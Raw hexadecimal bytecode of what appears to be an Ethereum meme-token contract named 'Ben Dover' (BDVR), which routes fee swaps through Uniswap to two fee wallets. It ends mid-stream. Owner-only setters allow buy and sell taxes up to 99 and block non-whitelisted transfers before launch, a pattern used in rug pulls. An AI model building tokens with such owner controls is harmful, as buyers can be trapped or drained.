6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a620003b9919062000d68565b6206b6c0620003c9919062000db9565b600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051620004ab919062000e7c565b60405180910390a3600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546009600a62000503919062000d68565b6207a12062000513919062000db9565b6200051f919062000e99565b600760008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600760008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460405162000663919062000e7c565b60405180910390a36001600960008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160096000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160096000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160096000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600960008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a6000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a60008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555062000ed4565b600061ffff82169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600062000bcd8262000b83565b915062000bda8362000b83565b9250828201905061ffff81111562000bf75762000bf662000b91565b5b92915050565b60008160011c9050919050565b6000808291508390505b600185111562000c5c5780860481111562000c345762000c3362000b91565b5b600185161562000c445780820291505b808102905062000c548562000bfd565b945062000c14565b94509492505050565b60008262000c77576001905062000d4a565b8162000c87576000905062000d4a565b816001811462000ca0576002811462000cab5762000ce1565b600191505062000d4a565b60ff84111562000cc05762000cbf62000b91565b5b8360020a91508482111562000cda5762000cd962000b91565b5b5062000d4a565b5060208310610133831016604e8410600b841016171562000d1b5782820a90508381111562000d155762000d1462000b91565b5b62000d4a565b62000d2a848484600162000c0a565b9250905081840481111562000d445762000d4362000b91565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b600062000d758262000d51565b915062000d828362000d5b565b925062000db17fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000c65565b905092915050565b600062000dc68262000d51565b915062000dd38362000d51565b925082820262000de38162000d51565b9150828204841483151762000dfd5762000dfc62000b91565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000e408262000d51565b915062000e4d8362000d51565b92508262000e605762000e5f62000e04565b5b828204905092915050565b62000e768162000d51565b82525050565b600060208201905062000e93600083018462000e6b565b92915050565b600062000ea68262000d51565b915062000eb38362000d51565b925082820390508181111562000ece5762000ecd62000b91565b5b92915050565b614ed28062000ee46000396000f3fe6080604052600436106101855760003560e01c8063931b68ea116100d1578063c9567bf91161008a578063e4dbc45b11610064578063e4dbc45b1461059a578063f2fde38b146105c3578063f9fdeae3146105ec578063fd965024146106155761018c565b8063c9567bf91461051d578063d6f155ad14610534578063dd62ed3e1461055d5761018c565b8063931b68ea146103f657806395d89b41146104345780639fda05811461045f578063a39fac1214610488578063a9059cbb146104b7578063b1421803146104f45761018c565b806322a62e1e1161013e5780636d1b229d116101185780636d1b229d146103255780636f013db91461034e57806370a082311461037c5780637df0f767146103b95761018c565b806322a62e1e1461028d57806323b872dd146102bd578063313ce567146102fa5761018c565b80630210a83d1461019157806306fdde03146101a8578063095ea7b3146101d357806318160ddd1461021057806318839bc31461023b57806321c42e11146102645761018c565b3661018c57005b600080fd5b34801561019d57600080fd5b506101a661063e565b005b3480156101b457600080fd5b506101bd610afd565b6040516101ca9190613885565b60405180910390f35b3480156101df57600080fd5b506101fa60048036038101906101f59190613940565b610b3a565b604051610207919061399b565b60405180910390f35b34801561021c57600080fd5b50610225610c2c565b60405161023291906139c5565b60405180910390f35b34801561024757600080fd5b50610262600480360381019061025d9190613a0c565b610c4f565b005b34801561027057600080fd5b5061028b60048036038101906102869190613a5f565b610e2c565b005b34801561029957600080fd5b506102a261105c565b6040516102b496959493929190613ad8565b60405180910390f35b3480156102c957600080fd5b506102e460048036038101906102df9190613b39565b6110dd565b6040516102f1919061399b565b60405180910390f35b34801561030657600080fd5b5061030f6112e7565b60405161031c9190613b8c565b60405180910390f35b34801561033157600080fd5b5061034c60048036038101906103479190613ba7565b6112f0565b005b34801561035a57600080fd5b5061036361139c565b6040516103739493929190613bd4565b60405180910390f35b34801561038857600080fd5b506103a3600480360381019061039e9190613c19565b6113bc565b6040516103b091906139c5565b60405180910390f35b3480156103c557600080fd5b506103e060048036038101906103db9190613c19565b611405565b6040516103ed919061399b565b60405180910390f35b34801561040257600080fd5b5061041d60048036038101906104189190613c19565b61145b565b60405161042b929190613c46565b60405180910390f35b34801561044057600080fd5b50610449611501565b6040516104569190613885565b60405180910390f35b34801561046b57600080fd5b5061048660048036038101906104819190613c6f565b61153e565b005b34801561049457600080fd5b5061049d61192d565b6040516104ae959493929190613cd1565b60405180910390f35b3480156104c357600080fd5b506104de60048036038101906104d99190613940565b6119f4565b6040516104eb919061399b565b60405180910390f35b34801561050057600080fd5b5061051b60048036038101906105169190613d50565b611a51565b005b34801561052957600080fd5b50610532611c0d565b005b34801561054057600080fd5b5061055b60048036038101906105569190613d90565b611cf5565b005b34801561056957600080fd5b50610584600480360381019061057f9190613dd0565b611e41565b60405161059191906139c5565b60405180910390f35b3480156105a657600080fd5b506105c160048036038101906105bc9190613e4c565b611ec8565b005b3480156105cf57600080fd5b506105ea60048036038101906105e59190613ef1565b612103565b005b3480156105f857600080fd5b50610613600480360381019061060e9190613f1e565b61220b565b005b34801561062157600080fd5b5061063c60048036038101906106379190613fb1565b612334565b005b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146106cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106c390614063565b60405180910390fd5b6001600f60016101000a81548160ff021916908315150217905550600073ffffffffffffffffffffffffffffffffffffffff16600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610778576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161076f906140cf565b60405180910390fd5b600047116107bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107b29061413b565b60405180910390fd5b6000600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541161083d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610834906141a7565b60405180910390fd5b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108ce91906141dc565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610957573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061097b91906141dc565b6040518363ffffffff1660e01b8152600401610998929190614209565b6020604051808303816000875af11580156109b7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109db91906141dc565b600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610a66600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205447600061244e565b6001600e6000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600f60016101000a81548160ff021916908315150217905550565b60606040518060400160405280600981526020017f42656e20446f7665720000000000000000000000000000000000000000000000815250905090565b600081600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610c1a91906139c5565b60405180910390a36001905092915050565b60006009600a610c3c9190614394565b6207a120610c4a91906143df565b905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610cdd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd490614063565b60405180910390fd5b8080610ce65750815b15610d7957600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610d78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6f9061446d565b60405180910390fd5b5b81600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610eba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb190614063565b60405180910390fd5b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f41906144d9565b60405180910390fd5b80600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015611058576000600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b600080600080600080600060149054906101000a900460ff16600060159054906101000a900460ff16600060169054906101000a900461ffff16600060189054906101000a900461ffff166000601c9054906101000a900461ffff166000601a9054906101000a900461ffff16955095509550955095509550909192939495565b60006110e88461253c565b611127576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111e90614545565b60405180910390fd5b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146112d35781600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112529190614565565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6112de848484612617565b90509392505050565b60006009905090565b60006112fb336113bc565b905080821115611340576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611337906145e5565b60405180910390fd5b61134a3383612b46565b3373ffffffffffffffffffffffffffffffffffffffff167ffd38818f5291bf0bb3a2a48aadc06ba8757865d1dabd804585338aab3009dcb68360405161139091906139c5565b60405180910390a25050565b600080600080600354600454600554600654935093509350935090919293565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600080600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1691509150915091565b60606040518060400160405280600481526020017f4244565200000000000000000000000000000000000000000000000000000000815250905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146115cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115c390614063565b60405180910390fd5b600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116705750600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156116c65750600e60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611705576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116fc90614651565b60405180910390fd5b82600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550505050565b60008060008060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16945094509450945094509091929394565b60006119ff3361253c565b611a3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3590614545565b60405180910390fd5b611a49338484612617565b905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611adf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ad690614063565b60405180910390fd5b600060016103e88461ffff166009600a611af99190614394565b6207a120611b0791906143df565b611b1191906143df565b611b1b91906146a0565b611b2591906146d1565b9050600354811015611b6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6390614751565b60405180910390fd5b80600381905550600060016103e88461ffff166009600a611b8d9190614394565b6207a120611b9b91906143df565b611ba591906143df565b611baf91906146a0565b611bb991906146d1565b9050600454811015611c00576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bf7906147bd565b60405180910390fd5b8060048190555050505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611c9b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c9290614063565b60405180910390fd5b600f60009054906101000a900460ff1615611ceb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ce290614829565b60405180910390fd5b611cf3612c66565b565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611d83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d7a90614063565b60405180910390fd5b8115611de4576000611d94306113bc565b905060008111611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090614895565b60405180910390fd5b611de281612cf7565b505b8015611e3d57600047905060008111611e32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e2990614895565b60405180910390fd5b611e3b47612f16565b505b5050565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611f56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f4d90614063565b60405180910390fd5b8263ffffffff168463ffffffff166009600a611f729190614394565b6207a120611f8091906143df565b611f8a91906143df565b611f9491906146a0565b6005819055508063ffffffff168263ffffffff166009600a611fb69190614394565b6207a120611fc491906143df565b611fce91906143df565b611fd891906146a0565b6006819055506005546006541015612025576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161201c90614901565b60405180910390fd5b620186a06009600a6120379190614394565b6207a12061204591906143df565b61204f91906146a0565b60065411612092576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120899061496d565b60405180910390fd5b60646009600a6120a29190614394565b6207a1206120b091906143df565b6120ba91906146a0565b600654106120fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120f4906149d9565b60405180910390fd5b50505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612191576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161218890614063565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc686163816040516122009190614a58565b60405180910390a150565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612299576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161229090614063565b60405180910390fd5b826000601c6101000a81548161ffff021916908361ffff16021790555081600060166101000a81548161ffff021916908361ffff16021790555080600060186101000a81548161ffff021916908361ffff160217905550808284866122fe9190614a73565b6123089190614a73565b6123129190614a73565b6000601e6101000a81548161ffff021916908361ffff16021790555050505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146123c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123b990614063565b60405180910390fd5b606381836123d09190614aa9565b60ff161115612414576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161240b90614b2a565b60405180910390fd5b81600060146101000a81548160ff021916908360ff16021790555080600060156101000a81548160ff021916908360ff1602179055505050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050811561248057600090505b612489846130a5565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71984308760008087426040518863ffffffff1660e01b81526004016124f096959493929190614b85565b60606040518083038185885af115801561250e573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906125339190614bfb565b50505050505050565b60008060009050600f60009054906101000a900460ff1615612561576001905061260e565b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156126035750600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561260d57600190505b5b80915050919050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603612687576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161267e90614c9a565b60405180910390fd5b600f60009054906101000a900460ff1661277d57600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561273d5750600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61277c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161277390614545565b60405180910390fd5b5b600f60019054906101000a900460ff161580156127e35750600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156127f1576127f061328f565b5b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561285957503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156128b1575060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15612901576128c1848484613485565b612900576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128f790614d06565b60405180910390fd5b5b600061290e85858561361c565b90506000818461291e9190614565565b905083600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461296b9190614565565b600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000821115612a465781600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a0291906146d1565b600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b80600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a9191906146d1565b600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86604051612b3191906139c5565b60405180910390a36001925050509392505050565b6000811115612c625780600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612b9e9190614565565b9250508190555080600760008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612bf491906146d1565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612c5991906139c5565b60405180910390a35b5050565b606460016009600a612c789190614394565b6207a120612c8691906143df565b612c9091906143df565b612c9a91906146a0565b600381905550606460016009600a612cb29190614394565b6207a120612cc091906143df565b612cca91906143df565b612cd491906146a0565b6004819055506001600f60006101000a81548160ff021916908315150217905550565b612d00816130a5565b6000600267ffffffffffffffff811115612d1d57612d1c614d26565b5b604051908082528060200260200182016040528015612d4b5781602001602082028036833780820191505090505b5090503081600081518110612d6357612d62614d55565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612e0a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612e2e91906141dc565b81600181518110612e4257612e41614d55565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612ee0959493929190614e42565b600060405180830381600087803b158015612efa57600080fd5b505af1158015612f0e573d6000803e3d6000fd5b505050505050565b60008060189054906101000a900461ffff16600060169054906101000a900461ffff16612f439190614a73565b905060008161ffff1611156130a15760008161ffff16600060169054906101000a900461ffff1661ffff1684612f7991906143df565b612f8391906146a0565b905060008261ffff16600060189054906101000a900461ffff1661ffff1685612fac91906143df565b612fb691906146a0565b9050600082111561302b57600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015613029573d6000803e3d6000fd5b505b600081111561309e57600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561309c573d6000803e3d6000fd5b505b50505b5050565b80600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561328c577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9257fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60405161328391906139c5565b60405180910390a35b50565b6001600f60016101000a81548160ff02191690831515021790555060006132b5306113bc565b905060055481101580156132d55750600f60009054906101000a900460ff165b156134675760065481106132e95760065490505b600060026000601e9054906101000a900461ffff1661ffff166000601c9054906101000a900461ffff1661ffff168461332291906143df565b61332c91906146a0565b61333691906146a0565b9050600080601e9054906101000a900461ffff1661ffff166000601a9054906101000a900461ffff1661ffff168461336e91906143df565b61337891906146a0565b90506133843082612b46565b60008183856133939190614565565b61339d9190614565565b90506009600a6133ad9190614394565b81111561344a5760004790506133c282612cf7565b600081476133d09190614565565b9050600080601c9054906101000a900461ffff1661ffff16111561344757600080601e9054906101000a900461ffff1661ffff166000601c9054906101000a900461ffff1661ffff168361342491906143df565b61342e91906146a0565b9050613439866130a5565b6134458682600061244e565b505b50505b600047905060008111156134625761346181612f16565b5b505050505b506000600f60016101000a81548160ff021916908315150217905550565b60008060019050600f60009054906101000a900460ff1680156134f25750600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffff